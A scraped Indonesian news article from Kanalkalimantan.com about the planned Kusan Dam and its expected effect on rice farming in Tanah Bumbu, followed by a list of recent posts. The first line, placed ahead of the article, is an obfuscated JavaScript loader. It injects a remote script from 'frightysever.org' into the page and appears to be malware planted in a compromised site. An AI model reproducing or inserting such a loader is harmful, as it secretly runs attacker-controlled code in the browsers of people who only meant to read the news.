(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bendungan Kusan Digadang Mampu Meningkatan Produksi Padi di Tanbu


KANALKALIMANTAN.COM, BATULICIN – Proyek Bendungan Kusan digadang mampu menghidupkan sektor pertanian di Kabupaten Tanah Bumbu.

Kepala Dinas Ketahanan Pangan dan Pertanian (DKPP) Kabupaten Tanah Bumbu, H Hairuddin mengatakan, pembangunan Bendungan Kusan masih dalam tahap proses pengerjaan, nantinya bendungan itu dipastikan akan berdampak pada peningkatan produksi pertanian.

Diidam-idamkan, Bendungan Kusan ini nantinya mampu mengairi lahan pertanian dan mengatur masa tanam 2-3 kali dalam setahun, sehingga hasil produksi bisa melampaui target.

Saat ini, Kabupaten Tanah Bumbu memiliki lahan pertanian seluas 16.514 hektare, yang terbagi areal pertanian aktif dengan luas 10.362 hektare dan areal pertanian potensial seluas 6.151 hektare.

 

 

Baca juga: Mendorong Produk Kerajinan Para Pelaku Usaha Kreatif Banua

Renacana pembangunan Bendungan Kusan merupakan gagasan strategis untuk menyelesaikan masalah-masalah bidang pertanian.

Hal ini tentu membawa berita gembira bagi para petani, dimana strategi ini dicanangkan dapat membantu dalam peningkatan produksi hasil pertanian.

“Apabila Bendungan Kusan terealisasi, tentu dapat dimanfaatkan untuk pengairan lahan pertanian,” terang Hairuddin.

Disamping itu, Bendungan Kusan,sangat mungkin bisa mengatur masa tanam lebih dari sekali dalam setahun.

“Kalau sistem pengairan bagus, tentu masa tanam dapat diatur, dua hingga tiga kali dan produksi hasil pertanian akan jauh meningkat,” katanya.

Baca juga: Fenomena Air Merah yang Dipercaya Bikin Kucing Enggan BAB, Begini Penjelasan Dokter Hewan

Wacana Bendungan Kusan ini, turut disampaikan Bupati Tanah Bumbu kepada masyarakat, tak hanya itu Bupati Zairullah meminta dukungan dan doa, agar program ini bisa cepat terealisasi.

“Usulan Bendungan Kusan, masih terus kita kawal di Kementrian PUPR dan Balai Wilayah Sungai III Kalimantan melalui Satker Bendungan. Semua persyaratan teknis mulai dari FS, DED, Amdal larap sudah kita selesaikan dan kita serahkan ke pusat,”ungkap Tritendy Rahmatullah, Fungsional Tenaga Ahli Sumber Daya Air. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

44 menit ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

15 jam ago

Pegawai Pegadaian di Banjarmasin Jadi Terdakwa Korupsi, Ini Modusnya

KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More

17 jam ago

Raperda Produk Halal UMKM, Pansus Target Selesai Februari 2025

KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More

20 jam ago

BLK Balangan Gelar Pelatihan Berbasis Kompetensi

KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More

21 jam ago

Kanit Reskrim di Paser Tak Bernyawa Dipukul Warga, Ini Kronologinya

KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More

22 jam ago

This website uses cookies.